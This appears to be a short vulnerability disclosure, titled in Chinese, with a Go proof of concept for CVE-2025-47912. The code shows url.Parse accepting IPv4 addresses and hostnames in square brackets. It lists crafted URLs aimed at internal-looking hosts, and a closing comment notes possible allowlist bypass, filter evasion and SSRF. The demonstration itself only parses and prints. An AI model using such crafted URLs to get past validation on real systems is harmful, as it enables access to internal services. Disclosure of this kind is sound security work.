CVE-2025-47912 Go语言net/url Parse函数IPv6地址验证缺陷

package main import ( "fmt" "net/url" ) func main() { // PoC: IPv4 address in square brackets (RFC violation) maliciousURLs := []string{ "http://[192.168.1.1]/admin", "http://[10.0.0.1]:8080/login", "http://[example.com]/phishing", "http://[internal.corp]/secret", } fmt.Println("=== CVE-2025-47912 PoC ===") fmt.Println("Go Parse function accepts non-IPv6 values in square brackets") fmt.Println() for _, rawURL := range maliciousURLs { parsed, err := url.Parse(rawURL) if err != nil { fmt.Printf("Parse Error for %s: %v\n", rawURL, err) continue } fmt.Printf("Input: %s\n", rawURL) fmt.Printf("Host: %s\n", parsed.Host) fmt.Printf("Path: %s\n", parsed.Path) fmt.Printf("Scheme: %s\n", parsed.Scheme) fmt.Println("---") } fmt.Println("\nThese URLs violate RFC 3986 but are incorrectly accepted.") fmt.Println("IPv4 addresses and hostnames must NOT be in square brackets.") } /* Vulnerability Explanation: - RFC 3986 Section 3.2.2 states that IPv6 addresses are the ONLY valid content for square brackets in the host component. - Go's url.Parse() fails to enforce this restriction. - Attackers can craft malicious URLs to bypass security checks. Impact: - URL whitelist bypass - Security filter evasion - Potential SSRF in vulnerable applications */